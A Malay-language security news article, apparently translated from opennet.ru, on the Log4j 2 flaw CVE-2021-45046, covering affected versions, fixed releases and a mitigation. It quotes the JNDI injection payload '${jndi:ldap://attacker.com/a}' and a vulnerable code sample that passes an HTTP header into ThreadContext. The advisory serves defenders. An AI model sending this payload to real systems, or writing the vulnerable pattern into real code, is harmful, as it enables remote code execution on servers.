Satu lagi kelemahan telah dikenal pasti dalam pelaksanaan penggantian JNDI dalam pustaka Log4j 2 (CVE-2021-45046), yang berlaku walaupun pembetulan ditambah dalam keluaran 2.15 dan tanpa mengira penggunaan tetapan "log4j2.noFormatMsgLookup" untuk perlindungan. Masalahnya berbahaya terutamanya untuk versi lama Log4j 2, dilindungi menggunakan bendera "noFormatMsgLookup", kerana ia memungkinkan untuk memintas perlindungan terhadap kelemahan sebelumnya (Log4Shell, CVE-2021-44228) yang membolehkan anda melaksanakan kod anda pada pelayan. Bagi pengguna versi 2.15, eksploitasi adalah terhad kepada mewujudkan keadaan untuk aplikasi ranap disebabkan oleh kehabisan sumber yang tersedia.
Kerentanan hanya berlaku pada sistem yang menggunakan Carian Konteks seperti ${ctx:loginId} atau Peta Konteks Benang seperti %X, %mdc dan %MDC untuk pengelogan. Operasi datang untuk mewujudkan syarat untuk mengeluarkan data yang mengandungi penggantian JNDI ke log apabila menggunakan pertanyaan konteks atau templat MDC dalam aplikasi yang mentakrifkan peraturan untuk memformat output ke log.
Penyelidik dari LunaSec menyatakan bahawa untuk versi Log4j kurang daripada 2.15, kerentanan ini boleh digunakan sebagai vektor baharu untuk serangan Log4Shell yang membawa kepada pelaksanaan kod jika ungkapan ThreadContext digunakan semasa mengeluarkan ke log, di mana data luaran masuk, tanpa mengira kemasukan untuk melindungi bendera " noMsgFormatLookups" atau templat "%m{nolookups}".
Pintasan perlindungan datang kepada fakta bahawa bukannya penggantian langsung "${jndi:ldap://attacker.com/a}", ungkapan ini digantikan melalui nilai pembolehubah perantaraan yang digunakan dalam peraturan untuk memformat output kepada log. Contohnya, jika pertanyaan konteks ${ctx:apiversion} digunakan semasa mengeluarkan ke log, maka serangan boleh dilakukan dengan menggantikan data "${jndi:ldap://attacker.com/a}" ke dalam nilai yang ditulis kepada pembolehubah apiversion. Contoh kod terdedah: appender.console.layout.pattern = ${ctx:apiversion} - %d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L - %m%n @ GetMapping("/") public String index(@RequestHeader("X-Api-Version") String apiVersion) { // Nilai pengepala HTTP "X-Api-Version" dihantar ke ThreadContext ThreadContext.put("apiversion" , apiVersion ); // Apabila mengeluarkan ke log, nilai luaran apiversion akan diproses menggunakan penggantian ${ctx:apiversion} logger.info("Menerima permintaan untuk versi API"); kembali "Hello, dunia!"; }
Dalam Log4j 2.15, kelemahan boleh dieksploitasi untuk melakukan serangan DoS apabila menghantar nilai ke ThreadContext yang akan menyebabkan corak pemformatan output menjadi gelung.
Kemas kini 2.16 dan 2.12.2 telah diterbitkan untuk menyekat kelemahan. Dalam cawangan Log4j 2.16, sebagai tambahan kepada pembetulan yang dilaksanakan dalam versi 2.15 dan mengikat pertanyaan JNDI LDAP kepada "localhost", fungsi JNDI dilumpuhkan sepenuhnya secara lalai dan sokongan untuk corak penggantian mesej telah dialih keluar. Sebagai penyelesaian keselamatan, adalah dicadangkan untuk mengalih keluar kelas JndiLookup daripada laluan kelas (contohnya, "zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class") .
Anda boleh menjejaki penampilan pembetulan dalam pakej pada halaman pengedaran (Debian, Ubuntu, RHEL, SUSE, Fedora, Arch) dan pengeluar platform Java (GitHub, Docker, Oracle, vmWare, Broadcom dan Amazon / AWS, Juniper, VMware, Cisco, IBM , Red Hat, MongoDB, Okta, SolarWinds, Symantec, McAfee, SonicWall, FortiGuard, Ubiquiti, F-Secure, dll.).
Sumber: opennet.ru